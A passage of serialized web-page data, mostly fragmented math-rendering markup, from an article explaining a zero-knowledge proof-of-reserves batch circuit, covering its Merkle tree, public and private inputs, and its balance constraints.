ID) and with a nonce. The nonce is a random number that serves as a security measure against attackers who could brute-force the hash to find out other users' balances. Since the Merkle tree is a public proof, we need to be careful against these types of data leaks.",{"type":23,"tag":82,"props":92153,"children":92155},{"id":92154},"batch-circuit",[92156],{"type":28,"value":92157},"Batch Circuit",{"type":23,"tag":24,"props":92159,"children":92160},{},[92161],{"type":28,"value":92162},"The batch circuit is the first proven circuit in the PoR algorithm. It receives the account's information (grouped in 512) and generates the ZK proof with those constraints:",{"type":23,"tag":24,"props":92164,"children":92165},{},[92166],{"type":23,"tag":296,"props":92167,"children":92168},{},[92169],{"type":28,"value":92170},"Public Inputs",{"type":23,"tag":350,"props":92172,"children":92173},{},[92174,92179,92184],{"type":23,"tag":45,"props":92175,"children":92176},{},[92177],{"type":28,"value":92178},"Asset prices in USD",{"type":23,"tag":45,"props":92180,"children":92181},{},[92182],{"type":28,"value":92183},"Merkle tree hash",{"type":23,"tag":45,"props":92185,"children":92186},{},[92187],{"type":28,"value":92188},"Summed asset balances",{"type":23,"tag":24,"props":92190,"children":92191},{},[92192],{"type":23,"tag":296,"props":92193,"children":92194},{},[92195],{"type":28,"value":92196},"Private Inputs",{"type":23,"tag":350,"props":92198,"children":92199},{},[92200,92205],{"type":23,"tag":45,"props":92201,"children":92202},{},[92203],{"type":28,"value":92204},"Users balances",{"type":23,"tag":45,"props":92206,"children":92207},{},[92208],{"type":28,"value":92209},"Merkle tree leaves hashes",{"type":23,"tag":24,"props":92211,"children":92212},{},[92213],{"type":23,"tag":296,"props":92214,"children":92215},{},[92216],{"type":28,"value":92217},"Constraints",{"type":23,"tag":350,"props":92219,"children":92220},{},[92221,92674,92842,93189,93587],{"type":23,"tag":45,"props":92222,"children":92223},{},[92224],{"type":23,"tag":56,"props":92225,"children":92227},{"className":92226},[2960,2961],[92228],{"type":23,"tag":504,"props":92229,"children":92231},{"className":92230},[2966],[92232],{"type":23,"tag":504,"props":92233,"children":92235},{"className":92234,"ariaHidden":2972},[2971],[92236,92375,92579],{"type":23,"tag":504,"props":92237,"children":92239},{"className":92238},[2977],[92240,92245,92250,92256,92261,92266,92271,92276,92281,92288,92293,92298,92303,92362,92366,92371],{"type":23,"tag":504,"props":92241,"children":92244},{"className":92242,"style":92243},[2982],"height:0.9695em;vertical-align:-0.31em;",[],{"type":23,"tag":504,"props":92246,"children":92248},{"className":92247},[2988,20569],[92249],{"type":28,"value":92},{"type":23,"tag":504,"props":92251,"children":92253},{"className":92252},[2988,20569],[92254],{"type":28,"value":92255},"cco",{"type":23,"tag":504,"props":92257,"children":92259},{"className":92258},[2988,20569],[92260],{"type":28,"value":92057},{"type":23,"tag":504,"props":92262,"children":92264},{"className":92263},[2988,20569],[92265],{"type":28,"value":55382},{"type":23,"tag":504,"props":92267,"children":92269},{"className":92268},[2988,20569],[92270],{"type":28,"value":20711},{"type":23,"tag":504,"props":92272,"children":92274},{"className":92273,"style":91798},[2988],[92275],{"type":28,"value":2059},{"type":23,"tag":504,"props":92277,"children":92279},{"className":92278},[2988,20569],[92280],{"type":28,"value":1231},{"type":23,"tag":504,"props":92282,"children":92285},{"className":92283,"style":92284},[2988,20569],"margin-right:0.03588em;",[92286],{"type":28,"value":92287},"q",{"type":23,"tag":504,"props":92289,"children":92291},{"className":92290},[2988,20569],[92292],{"type":28,"value":92057},{"type":23,"tag":504,"props":92294,"children":92296},{"className":92295},[2988,20569],[92297],{"type":28,"value":2716},{"type":23,"tag":504,"props":92299,"children":92301},{"className":92300},[2988,20569],[92302],{"type":28,"value":20711},{"type":23,"tag":504,"props":92304,"children":92306},{"className":92305},[2988],[92307,92312],{"type":23,"tag":504,"props":92308,"children":92310},{"className":92309,"style":92284},[2988,20569],[92311],{"type":28,"value":2091},{"type":23,"tag":504,"props":92313,"children":92315},{"className":92314},[3005],[92316],{"type":23,"tag":504,"props":92317,"children":92319},{"className":92318},[3010,20623],[92320,92351],{"type":23,"tag":504,"props":92321,"children":92323},{"className":92322},[3015],[92324,92346],{"type":23,"tag":504,"props":92325,"children":92328},{"className":92326,"style":92327},[3020],"height:0.3117em;",[92329],{"type":23,"tag":504,"props":92330,"children":92332},{"style":92331},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[92333,92337],{"type":23,"tag":504,"props":92334,"children":92336},{"className":92335,"style":3030},[3029],[],{"type":23,"tag":504,"props":92338,"children":92340},{"className":92339},[3035,3036,3037,3038],[92341],{"type":23,"tag":504,"props":92342,"children":92344},{"className":92343},[2988,20569,3038],[92345],{"type":28,"value":2716},{"type":23,"tag":504,"props":92347,"children":92349},{"className":92348},[20726],[92350],{"type":28,"value":20729},{"type":23,"tag":504,"props":92352,"children":92354},{"className":92353},[3015],[92355],{"type":23,"tag":504,"props":92356,"children":92358},{"className":92357,"style":91881},[3020],[92359],{"type":23,"tag":504,"props":92360,"children":92361},{},[],{"type":23,"tag":504,"props":92363,"children":92365},{"className":92364,"style":3167},[3069],[],{"type":23,"tag":504,"props":92367,"children":92369},{"className":92368},[3172],[92370],{"type":28,"value":7559},{"type":23,"tag":504,"props":92372,"children":92374},{"className":92373,"style":3167},[3069],[],{"type":23,"tag":504,"props":92376,"children":92378},{"className":92377},[2977],[92379,92383,92389,92394,92399,92404,92409,92414,92419,92424,92429,92434,92439,92444,92449,92454,92459,92464,92521,92526,92531,92536,92541,92546,92551,92556,92561,92566,92570,92575],{"type":23,"tag":504,"props":92380,"children":92382},{"className":92381,"style":91740},[2982],[],{"type":23,"tag":504,"props":92384,"children":92386},{"className":92385},[2988],[92387],{"type":28,"value":92388},"Σ",{"type":23,"tag":504,"props":92390,"children":92392},{"className":92391},[3069],[92393],{"type":28,"value":20670},{"type":23,"tag":504,"props":92395,"children":92397},{"className":92396},[2988,20569],[92398],{"type":28,"value":92},{"type":23,"tag":504,"props":92400,"children":92402},{"className":92401},[2988,20569],[92403],{"type":28,"value":92255},{"type":23,"tag":504,"props":92405,"children":92407},{"className":92406},[2988,20569],[92408],{"type":28,"value":92057},{"type":23,"tag":504,"props":92410,"children":92412},{"className":92411},[2988,20569],[92413],{"type":28,"value":55382},{"type":23,"tag":504,"props":92415,"children":92417},{"className":92416},[2988,20569],[92418],{"type":28,"value":20711},{"type":23,"tag":504,"props":92420,"children":92422},{"className":92421,"style":91798},[2988],[92423],{"type":28,"value":2059},{"type":23,"tag":504,"props":92425,"children":92427},{"className":92426},[2988,20569],[92428],{"type":28,"value":92},{"type":23,"tag":504,"props":92430,"children":92432},{"className":92431},[2988,20569],[92433],{"type":28,"value":91789},{"type":23,"tag":504,"props":92435,"children":92437},{"className":92436},[2988,20569],[92438],{"type":28,"value":20711},{"type":23,"tag":504,"props":92440,"children":92442},{"className":92441,"style":91798},[2988],[92443],{"type":28,"value":2059},{"type":23,"tag":504,"props":92445,"children":92447},{"className":92446},[2988,20569],[92448],{"type":28,"value":91806},{"type":23,"tag":504,"props":92450,"children":92452},{"className":92451,"style":91810},[2988,20569],[92453],{"type":28,"value":91813},{"type":23,"tag":504,"props":92455,"children":92457},{"className":92456},[2988,20569],[92458],{"type":28,"value":91819},{"type":23,"tag":504,"props":92460,"children":92462},{"className":92461},[2988,20569],[92463],{"type":28,"value":91825},{"type":23,"tag":504,"props":92465,"children":92467},{"className":92466},[2988],[92468,92473],{"type":23,"tag":504,"props":92469,"children":92471},{"className":92470},[2988,20569],[92472],{"type":28,"value":9633},{"type":23,"tag":504,"props":92474,"children":92476},{"className":92475},[3005],[92477],{"type":23,"tag":504,"props":92478,"children":92480},{"className":92479},[3010,20623],[92481,92510],{"type":23,"tag":504,"props":92482,"children":92484},{"className":92483},[3015],[92485,92505],{"type":23,"tag":504,"props":92486,"children":92488},{"className":92487,"style":92327},[3020],[92489],{"type":23,"tag":504,"props":92490,"children":92491},{"style":91854},[92492,92496],{"type":23,"tag":504,"props":92493,"children":92495},{"className":92494,"style":3030},[3029],[],{"type":23,"tag":504,"props":92497,"children":92499},{"className":92498},[3035,3036,3037,3038],[92500],{"type":23,"tag":504,"props":92501,"children":92503},{"className":92502},[2988,20569,3038],[92504],{"type":28,"value":2716},{"type":23,"tag":504,"props":92506,"children":92508},{"className":92507},[20726],[92509],{"type":28,"value":20729},{"type":23,"tag":504,"props":92511,"children":92513},{"className":92512},[3015],[92514],{"type":23,"tag":504,"props":92515,"children":92517},{"className":92516,"style":91881},[3020],[92518],{"type":23,"tag":504,"props":92519,"children":92520},{},[],{"type":23,"tag":504,"props":92522,"children":92524},{"className":92523},[20698],[92525],{"type":28,"value":2711},{"type":23,"tag":504,"props":92527,"children":92529},{"className":92528},[2988,20569],[92530],{"type":28,"value":92},{"type":23,"tag":504,"props":92532,"children":92534},{"className":92533},[2988,20569],[92535],{"type":28,"value":91789},{"type":23,"tag":504,"props":92537,"children":92539},{"className":92538},[2988,20569],[92540],{"type":28,"value":20711},{"type":23,"tag":504,"props":92542,"children":92544},{"className":92543,"style":91798},[2988],[92545],{"type":28,"value":2059},{"type":23,"tag":504,"props":92547,"children":92549},{"className":92548},[2988,20569],[92550],{"type":28,"value":55382},{"type":23,"tag":504,"props":92552,"children":92554},{"className":92553},[2988,20569],[92555],{"type":28,"value":92057},{"type":23,"tag":504,"props":92557,"children":92559},{"className":92558},[2988,20569],[92560],{"type":28,"value":50112},{"type":23,"tag":504,"props":92562,"children":92564},{"className":92563},[20720],[92565],{"type":28,"value":14391},{"type":23,"tag":504,"props":92567,"children":92569},{"className":92568,"style":3070},[3069],[],{"type":23,"tag":504,"props":92571,"children":92573},{"className":92572},[3075],[92574],{"type":28,"value":3078},{"type":23,"tag":504,"props":92576,"children":92578},{"className":92577,"style":3070},[3069],[],{"type":23,"tag":504,"props":92580,"children":92582},{"className":92581},[2977],[92583,92587,92592,92597,92602,92607,92612,92618,92623,92629,92634,92639,92644,92649,92654,92659,92664,92669],{"type":23,"tag":504,"props":92584,"children":92586},{"className":92585,"style":91740},[2982],[],{"type":23,"tag":504,"props":92588,"children":92590},{"className":92589},[2988,20569],[92591],{"type":28,"value":92},{"type":23,"tag":504,"props":92593,"children":92595},{"className":92594},[2988,20569],[92596],{"type":28,"value":91789},{"type":23,"tag":504,"props":92598,"children":92600},{"className":92599},[2988,20569],[92601],{"type":28,"value":20711},{"type":23,"tag":504,"props":92603,"children":92605},{"className":92604,"style":91798},[2988],[92606],{"type":28,"value":2059},{"type":23,"tag":504,"props":92608,"children":92610},{"className":92609},[2988,20569],[92611],{"type":28,"value":24},{"type":23,"tag":504,"props":92613,"children":92615},{"className":92614,"style":91798},[2988,20569],[92616],{"type":28,"value":92617},"r",{"type":23,"tag":504,"props":92619,"children":92621},{"className":92620},[2988,20569],[92622],{"type":28,"value":2716},{"type":23,"tag":504,"props":92624,"children":92626},{"className":92625},[2988,20569],[92627],{"type":28,"value":92628},"ces",{"type":23,"tag":504,"props":92630,"children":92632},{"className":92631},[20698],[92633],{"type":28,"value":2711},{"type":23,"tag":504,"props":92635,"children":92637},{"className":92636},[2988,20569],[92638],{"type":28,"value":92},{"type":23,"tag":504,"props":92640,"children":92642},{"className":92641},[2988,20569],[92643],{"type":28,"value":91789},{"type":23,"tag":504,"props":92645,"children":92647},{"className":92646},[2988,20569],[92648],{"type":28,"value":20711},{"type":23,"tag":504,"props":92650,"children":92652},{"className":92651,"style":91798},[2988],[92653],{"type":28,"value":2059},{"type":23,"tag":504,"props":92655,"children":92657},{"className":92656},[2988,20569],[92658],{"type":28,"value":55382},{"type":23,"tag":504,"props":92660,"children":92662},{"className":92661},[2988,20569],[92663],{"type":28,"value":92057},{"type":23,"tag":504,"props":92665,"children":92667},{"className":92666},[2988,20569],[92668],{"type":28,"value":50112},{"type":23,"tag":504,"props":92670,"children":92672},{"className":92671},[20720],[92673],{"type":28,"value":14391},{"type":23,"tag":45,"props":92675,"children":92676},{},[92677,92836,92837],{"type":23,"tag":56,"props":92678,"children":92680},{"className":92679},[2960,2961],[92681],{"type":23,"tag":504,"props":92682,"children":92684},{"className":92683},[2966],[92685],{"type":23,"tag":504,"props":92686,"children":92688},{"className":92687,"ariaHidden":2972},[2971],[92689,92822],{"type":23,"tag":504,"props":92690,"children":92692},{"className":92691},[2977],[92693,92697,92702,92707,92712,92717,92722,92727,92732,92737,92742,92747,92752,92809,92813,92818],{"type":23,"tag":504,"props":92694,"children":92696},{"className":92695,"style":92243},[2982],[],{"type":23,"tag":504,"props":92698,"children":92700},{"className":92699},[2988,20569],[92701],{"type":28,"value":92},{"type":23,"tag":504,"props":92703,"children":92705},{"className":92704},[2988,20569],[92706],{"type":28,"value":92255},{"type":23,"tag":504,"props":92708,"children":92710},{"className":92709},[2988,20569],[92711],{"type":28,"value":92057},{"type":23,"tag":504,"props":92713,"children":92715},{"className":92714},[2988,20569],[92716],{"type":28,"value":55382},{"type":23,"tag":504,"props":92718,"children":92720},{"className":92719},[2988,20569],[92721],{"type":28,"value":20711},{"type":23,"tag":504,"props":92723,"children":92725},{"className":92724,"style":91798},[2988],[92726],{"type":28,"value":2059},{"type":23,"tag":504,"props":92728,"children":92730},{"className":92729},[2988,20569],[92731],{"type":28,"value":1231},{"type":23,"tag":504,"props":92733,"children":92735},{"className":92734,"style":92284},[2988,20569],[92736],{"type":28,"value":92287},{"type":23,"tag":504,"props":92738,"children":92740},{"className":92739},[2988,20569],[92741],{"type":28,"value":92057},{"type":23,"tag":504,"props":92743,"children":92745},{"className":92744},[2988,20569],[92746],{"type":28,"value":2716},{"type":23,"tag":504,"props":92748,"children":92750},{"className":92749},[2988,20569],[92751],{"type":28,"value":20711},{"type":23,"tag":504,"props":92753,"children":92755},{"className":92754},[2988],[92756,92761],{"type":23,"tag":504,"props":92757,"children":92759},{"className":92758,"style":92284},[2988,20569],[92760],{"type":28,"value":2091},{"type":23,"tag":504,"props":92762,"children":92764},{"className":92763},[3005],[92765],{"type":23,"tag":504,"props":92766,"children":92768},{"className":92767},[3010,20623],[92769,92798],{"type":23,"tag":504,"props":92770,"children":92772},{"className":92771},[3015],[92773,92793],{"type":23,"tag":504,"props":92774,"children":92776},{"className":92775,"style":92327},[3020],[92777],{"type":23,"tag":504,"props":92778,"children":92779},{"style":92331},[92780,92784],{"type":23,"tag":504,"props":92781,"children":92783},{"className":92782,"style":3030},[3029],[],{"type":23,"tag":504,"props":92785,"children":92787},{"className":92786},[3035,3036,3037,3038],[92788],{"type":23,"tag":504,"props":92789,"children":92791},{"className":92790},[2988,20569,3038],[92792],{"type":28,"value":2716},{"type":23,"tag":504,"props":92794,"children":92796},{"className":92795},[20726],[92797],{"type":28,"value":20729},{"type":23,"tag":504,"props":92799,"children":92801},{"className":92800},[3015],[92802],{"type":23,"tag":504,"props":92803,"children":92805},{"className":92804,"style":91881},[3020],[92806],{"type":23,"tag":504,"props":92807,"children":92808},{},[],{"type":23,"tag":504,"props":92810,"children":92812},{"className":92811,"style":3167},[3069],[],{"type":23,"tag":504,"props":92814,"children":92816},{"className":92815},[3172],[92817],{"type":28,"value":8924},{"type":23,"tag":504,"props":92819,"children":92821},{"className":92820,"style":3167},[3069],[],{"type":23,"tag":504,"props":92823,"children":92825},{"className":92824},[2977],[92826,92831],{"type":23,"tag":504,"props":92827,"children":92830},{"className":92828,"style":92829},[2982],"height:0.6444em;",[],{"type":23,"tag":504,"props":92832,"children":92834},{"className":92833},[2988],[92835],{"type":28,"value":3001},{"type":28,"value":5441},{"type":23,"tag":296,"props":92838,"children":92839},{},[92840],{"type":28,"value":92841},"(non-negativity)",{"type":23,"tag":45,"props":92843,"children":92844},{},[92845,93183,93184],{"type":23,"tag":56,"props":92846,"children":92848},{"className":92847},[2960,2961],[92849],{"type":23,"tag":504,"props":92850,"children":92852},{"className":92851},[2966],[92853],{"type":23,"tag":504,"props":92854,"children":92856},{"className":92855,"ariaHidden":2972},[2971],[92857,92993],{"type":23,"tag":504,"props":92858,"children":92860},{"className":92859},[2977],[92861,92865,92870,92875,92880,92885,92890,92895,92900,92905,92910,92915,92920,92925,92930,92935,92940,92945,92950,92955,92960,92965,92970,92975,92980,92984,92989],{"type":23,"tag":504,"props":92862,"children":92864},{"className":92863,"style":91740},[2982],[],{"type":23,"tag":504,"props":92866,"children":92868},{"className":92867},[2988,20569],[92869],{"type":28,"value":20711},{"type":23,"tag":504,"props":92871,"children":92873},{"className":92872},[2988,20569],[92874],{"type":28,"value":91768},{"type":23,"tag":504,"props":92876,"children":92878},{"className":92877},[2988,20569],[92879],{"type":28,"value":20711},{"type":23,"tag":504,"props":92881,"children":92883},{"className":92882},[2988,20569],[92884],{"type":28,"value":92},{"type":23,"tag":504,"props":92886,"children":92888},{"className":92887,"style":91810},[2988,20569],[92889],{"type":28,"value":91813},{"type":23,"tag":504,"props":92891,"children":92893},{"className":92892,"style":91798},[2988],[92894],{"type":28,"value":2059},{"type":23,"tag":504,"props":92896,"children":92898},{"className":92897},[2988,20569],[92899],{"type":28,"value":92},{"type":23,"tag":504,"props":92901,"children":92903},{"className":92902},[2988,20569],[92904],{"type":28,"value":91789},{"type":23,"tag":504,"props":92906,"children":92908},{"className":92907},[2988,20569],[92909],{"type":28,"value":20711},{"type":23,"tag":504,"props":92911,"children":92913},{"className":92912,"style":91798},[2988],[92914],{"type":28,"value":2059},{"type":23,"tag":504,"props":92916,"children":92918},{"className":92917},[2988,20569],[92919],{"type":28,"value":91806},{"type":23,"tag":504,"props":92921,"children":92923},{"className":92922,"style":91810},[2988,20569],[92924],{"type":28,"value":91813},{"type":23,"tag":504,"props":92926,"children":92928},{"className":92927},[2988,20569],[92929],{"type":28,"value":91819},{"type":23,"tag":504,"props":92931,"children":92933},{"className":92932},[2988,20569],[92934],{"type":28,"value":91825},{"type":23,"tag":504,"props":92936,"children":92938},{"className":92937},[20698],[92939],{"type":28,"value":2711},{"type":23,"tag":504,"props":92941,"children":92943},{"className":92942},[2988,20569],[92944],{"type":28,"value":92},{"type":23,"tag":504,"props":92946,"children":92948},{"className":92947},[2988,20569],[92949],{"type":28,"value":91789},{"type":23,"tag":504,"props":92951,"children":92953},{"className":92952},[2988,20569],[92954],{"type":28,"value":20711},{"type":23,"tag":504,"props":92956,"children":92958},{"className":92957,"style":91798},[2988],[92959],{"type":28,"value":2059},{"type":23,"tag":504,"props":92961,"children":92963},{"className":92962},[2988,20569],[92964],{"type":28,"value":55382},{"type":23,"tag":504,"props":92966,"children":92968},{"className":92967},[2988,20569],[92969],{"type":28,"value":92057},{"type":23,"tag":504,"props":92971,"children":92973},{"className":92972},[2988,20569],[92974],{"type":28,"value":50112},{"type":23,"tag":504,"props":92976,"children":92978},{"className":92977},[20720],[92979],{"type":28,"value":14391},{"type":23,"tag":504,"props":92981,"children":92983},{"className":92982,"style":3167},[3069],[],{"type":23,"tag":504,"props":92985,"children":92987},{"className":92986},[3172],[92988],{"type":28,"value":7559},{"type":23,"tag":504,"props":92990,"children":92992},{"className":92991,"style":3167},[3069],[],{"type":23,"tag":504,"props":92994,"children":92996},{"className":92995},[2977],[92997,93001,93006,93011,93016,93021,93026,93031,93036,93041,93046,93051,93056,93061,93066,93071,93076,93081,93138,93143,93148,93153,93158,93163,93168,93173,93178],{"type":23,"tag":504,"props":92998,"children":93000},{"className":92999,"style":91740},[2982],[],{"type":23,"tag":504,"props":93002,"children":93004},{"className":93003},[2988],[93005],{"type":28,"value":92388},{"type":23,"tag":504,"props":93007,"children":93009},{"className":93008},[3069],[93010],{"type":28,"value":20670},{"type":23,"tag":504,"props":93012,"children":93014},{"className":93013},[2988,20569],[93015],{"type":28,"value":92},{"type":23,"tag":504,"props":93017,"children":93019},{"className":93018},[2988,20569],[93020],{"type":28,"value":92255},{"type":23,"tag":504,"props":93022,"children":93024},{"className":93023},[2988,20569],[93025],{"type":28,"value":92057},{"type":23,"tag":504,"props":93027,"children":93029},{"className":93028},[2988,20569],[93030],{"type":28,"value":55382},{"type":23,"tag":504,"props":93032,"children":93034},{"className":93033},[2988,20569],[93035],{"type":28,"value":20711},{"type":23,"tag":504,"props":93037,"children":93039},{"className":93038,"style":91798},[2988],[93040],{"type":28,"value":2059},{"type":23,"tag":504,"props":93042,"children":93044},{"className":93043},[2988,20569],[93045],{"type":28,"value":92},{"type":23,"tag":504,"props":93047,"children":93049},{"className":93048},[2988,20569],[93050],{"type":28,"value":91789},{"type":23,"tag":504,"props":93052,"children":93054},{"className":93053},[2988,20569],[93055],{"type":28,"value":20711},{"type":23,"tag":504,"props":93057,"children":93059},{"className":93058,"style":91798},[2988],[93060],{"type":28,"value":2059},{"type":23,"tag":504,"props":93062,"children":93064},{"className":93063},[2988,20569],[93065],{"type":28,"value":91806},{"type":23,"tag":504,"props":93067,"children":93069},{"className":93068,"style":91810},[2988,20569],[93070],{"type":28,"value":91813},{"type":23,"tag":504,"props":93072,"children":93074},{"className":93073},[2988,20569],[93075],{"type":28,"value":91819},{"type":23,"tag":504,"props":93077,"children":93079},{"className":93078},[2988,20569],[93080],{"type":28,"value":91825},{"type":23,"tag":504,"props":93082,"children":93084},{"className":93083},[2988],[93085,93090],{"type":23,"tag":504,"props":93086,"children":93088},{"className":93087},[2988,20569],[93089],{"type":28,"value":9633},{"type":23,"tag":504,"props":93091,"children":93093},{"className":93092},[3005],[93094],{"type":23,"tag":504,"props":93095,"children":93097},{"className":93096},[3010,20623],[93098,93127],{"type":23,"tag":504,"props":93099,"children":93101},{"className":93100},[3015],[93102,93122],{"type":23,"tag":504,"props":93103,"children":93105},{"className":93104,"style":92327},[3020],[93106],{"type":23,"tag":504,"props":93107,"children":93108},{"style":91854},[93109,93113],{"type":23,"tag":504,"props":93110,"children":93112},{"className":93111,"style":3030},[3029],[],{"type":23,"tag":504,"props":93114,"children":93116},{"className":93115},[3035,3036,3037,3038],[93117],{"type":23,"tag":504,"props":93118,"children":93120},{"className":93119},[2988,20569,3038],[93121],{"type":28,"value":2716},{"type":23,"tag":504,"props":93123,"children":93125},{"className":93124},[20726],[93126],{"type":28,"value":20729},{"type":23,"tag":504,"props":93128,"children":93130},{"className":93129},[3015],[93131],{"type":23,"tag":504,"props":93132,"children":93134},{"className":93133,"style":91881},[3020],[93135],{"type":23,"tag":504,"props":93136,"children":93137},{},[],{"type":23,"tag":504,"props":93139,"children":93141},{"className":93140},[20698],[93142],{"type":28,"value":2711},{"type":23,"tag":504,"props":93144,"children":93146},{"className":93145},[2988,20569],[93147],{"type":28,"value":92},{"type":23,"tag":504,"props":93149,"children":93151},{"className":93150},[2988,20569],[93152],{"type":28,"value":91789},{"type":23,"tag":504,"props":93154,"children":93156},{"className":93155},[2988,20569],[93157],{"type":28,"value":20711},{"type":23,"tag":504,"props":93159,"children":93161},{"className":93160,"style":91798},[2988],[93162],{"type":28,"value":2059},{"type":23,"tag":504,"props":93164,"children":93166},{"className":93165},[2988,20569],[93167],{"type":28,"value":55382},{"type":23,"tag":504,"props":93169,"children":93171},{"className":93170},[2988,20569],[93172],{"type":28,"value":92057},{"type":23,"tag":504,"props":93174,"children":93176},{"className":93175},[2988,20569],[93177],{"type":28,"value":50112},{"type":23,"tag":504,"props":93179,"children":93181},{"className":93180},[20720],[93182],{"type":28,"value":14391},{"type":28,"value":5441},{"type":23,"tag":296,"props":93185,"children":93186},{},[93187],{"type":28,"value":93188},"(sum proof)",{"type":23,"tag":45,"props":93190,"children":93191},{},[93192,93581,93582],{"type":23,"tag":56,"props":93193,"children":93195},{"className":93194},[2960,2961],[93196],{"type":23,"tag":504,"props":93197,"children":93199},{"className":93198},[2966],[93200],{"type":23,"tag":504,"props":93201,"children":93203},{"className":93202,"ariaHidden":2972},[2971],[93204,93290],{"type":23,"tag":504,"props":93205,"children":93207},{"className":93206},[2977],[93208,93213,93218,93224,93230,93235,93240,93245,93250,93256,93261,93267,93272,93277,93281,93286],{"type":23,"tag":504,"props":93209,"children":93212},{"className":93210,"style":93211},[2982],"height:1.0044em;vertical-align:-0.31em;",[],{"type":23,"tag":504,"props":93214,"children":93216},{"className":93215},[2988,20569],[93217],{"type":28,"value":50112},{"type":23,"tag":504,"props":93219,"children":93221},{"className":93220,"style":91798},[2988,20569],[93222],{"type":28,"value":93223},"er",{"type":23,"tag":504,"props":93225,"children":93228},{"className":93226,"style":93227},[2988,20569],"margin-right:0.03148em;",[93229],{"type":28,"value":87435},{"type":23,"tag":504,"props":93231,"children":93233},{"className":93232,"style":91810},[2988,20569],[93234],{"type":28,"value":91813},{"type":23,"tag":504,"props":93236,"children":93238},{"className":93237},[2988,20569],[93239],{"type":28,"value":1231},{"type":23,"tag":504,"props":93241,"children":93243},{"className":93242,"style":91798},[2988],[93244],{"type":28,"value":2059},{"type":23,"tag":504,"props":93246,"children":93248},{"className":93247},[2988,20569],[93249],{"type":28,"value":20711},{"type":23,"tag":504,"props":93251,"children":93253},{"className":93252},[2988,20569],[93254],{"type":28,"value":93255},"ree",{"type":23,"tag":504,"props":93257,"children":93259},{"className":93258,"style":91798},[2988],[93260],{"type":28,"value":2059},{"type":23,"tag":504,"props":93262,"children":93264},{"className":93263},[2988,20569],[93265],{"type":28,"value":93266},"ha",{"type":23,"tag":504,"props":93268,"children":93270},{"className":93269},[2988,20569],[93271],{"type":28,"value":9633},{"type":23,"tag":504,"props":93273,"children":93275},{"className":93274},[2988,20569],[93276],{"type":28,"value":83096},{"type":23,"tag":504,"props":93278,"children":93280},{"className":93279,"style":3167},[3069],[],{"type":23,"tag":504,"props":93282,"children":93284},{"className":93283},[3172],[93285],{"type":28,"value":7559},{"type":23,"tag":504,"props":93287,"children":93289},{"className":93288,"style":3167},[3069],[],{"type":23,"tag":504,"props":93291,"children":93293},{"className":93292},[2977],[93294,93298,93303,93308,93313,93318,93323,93328,93333,93338,93343,93400,93405,93409,93414,93419,93476,93481,93486,93490,93495,93500,93504,93509,93514,93576],{"type":23,"tag":504,"props":93295,"children":93297},{"className":93296,"style":3090},[2982],[],{"type":23,"tag":504,"props":93299,"children":93301},{"className":93300,"style":20570},[2988,20569],[93302],{"type":28,"value":20573},{"type":23,"tag":504,"props":93304,"children":93306},{"className":93305},[2988,20569],[93307],{"type":28,"value":91752},{"type":23,"tag":504,"props":93309,"children":93311},{"className":93310},[2988,20569],[93312],{"type":28,"value":2716},{"type":23,"tag":504,"props":93314,"children":93316},{"className":93315},[2988,20569],[93317],{"type":28,"value":1169},{"type":23,"tag":504,"props":93319,"children":93321},{"className":93320},[2988,20569],[93322],{"type":28,"value":91768},{"type":23,"tag":504,"props":93324,"children":93326},{"className":93325},[2988,20569],[93327],{"type":28,"value":55382},{"type":23,"tag":504,"props":93329,"children":93331},{"className":93330},[20698],[93332],{"type":28,"value":526},{"type":23,"tag":504,"props":93334,"children":93336},{"className":93335},[2988,20569],[93337],{"type":28,"value":93266},{"type":23,"tag":504,"props":93339,"children":93341},{"className":93340},[2988,20569],[93342],{"type":28,"value":9633},{"type":23,"tag":504,"props":93344,"children":93346},{"className":93345},[2988],[93347,93352],{"type":23,"tag":504,"props":93348,"children":93350},{"className":93349},[2988,20569],[93351],{"type":28,"value":83096},{"type":23,"tag":504,"props":93353,"children":93355},{"className":93354},[3005],[93356],{"type":23,"tag":504,"props":93357,"children":93359},{"className":93358},[3010,20623],[93360,93389],{"type":23,"tag":504,"props":93361,"children":93363},{"className":93362},[3015],[93364,93384],{"type":23,"tag":504,"props":93365,"children":93367},{"className":93366,"style":91850},[3020],[93368],{"type":23,"tag":504,"props":93369,"children":93370},{"style":91854},[93371,93375],{"type":23,"tag":504,"props":93372,"children":93374},{"className":93373,"style":3030},[3029],[],{"type":23,"tag":504,"props":93376,"children":93378},{"className":93377},[3035,3036,3037,3038],[93379],{"type":23,"tag":504,"props":93380,"children":93382},{"className":93381},[2988,3038],[93383],{"type":28,"value":3001},{"type":23,"tag":504,"props":93385,"children":93387},{"className":93386},[20726],[93388],{"type":28,"value":20729},{"type":23,"tag":504,"props":93390,"children":93392},{"className":93391},[3015],[93393],{"type":23,"tag":504,"props":93394,"children":93396},{"className":93395,"style":91881},[3020],[93397],{"type":23,"tag":504,"props":93398,"children":93399},{},[],{"type":23,"tag":504,"props":93401,"children":93403},{"className":93402},[3101],[93404],{"type":28,"value":3104},{"type":23,"tag":504,"props":93406,"children":93408},{"className":93407,"style":3108},[3069],[],{"type":23,"tag":504,"props":93410,"children":93412},{"className":93411},[2988,20569],[93413],{"type":28,"value":93266},{"type":23,"tag":504,"props":93415,"children":93417},{"className":93416},[2988,20569],[93418],{"type":28,"value":9633},{"type":23,"tag":504,"props":93420,"children":93422},{"className":93421},[2988],[93423,93428],{"type":23,"tag":504,"props":93424,"children":93426},{"className":93425},[2988,20569],[93427],{"type":28,"value":83096},{"type":23,"tag":504,"props":93429,"children":93431},{"className":93430},[3005],[93432],{"type":23,"tag":504,"props":93433,"children":93435},{"className":93434},[3010,20623],[93436,93465],{"type":23,"tag":504,"props":93437,"children":93439},{"className":93438},[3015],[93440,93460],{"type":23,"tag":504,"props":93441,"children":93443},{"className":93442,"style":91850},[3020],[93444],{"type":23,"tag":504,"props":93445,"children":93446},{"style":91854},[93447,93451],{"type":23,"tag":504,"props":93448,"children":93450},{"className":93449,"style":3030},[3029],[],{"type":23,"tag":504,"props":93452,"children":93454},{"className":93453},[3035,3036,3037,3038],[93455],{"type":23,"tag":504,"props":93456,"children":93458},{"className":93457},[2988,3038],[93459],{"type":28,"value":2991},{"type":23,"tag":504,"props":93461,"children":93463},{"className":93462},[20726],[93464],{"type":28,"value":20729},{"type":23,"tag":504,"props":93466,"children":93468},{"className":93467},[3015],[93469],{"type":23,"tag":504,"props":93470,"children":93472},{"className":93471,"style":91881},[3020],[93473],{"type":23,"tag":504,"props":93474,"children":93475},{},[],{"type":23,"tag":504,"props":93477,"children":93479},{"className":93478},[3101],[93480],{"type":28,"value":3104},{"type":23,"tag":504,"props":93482,"children":9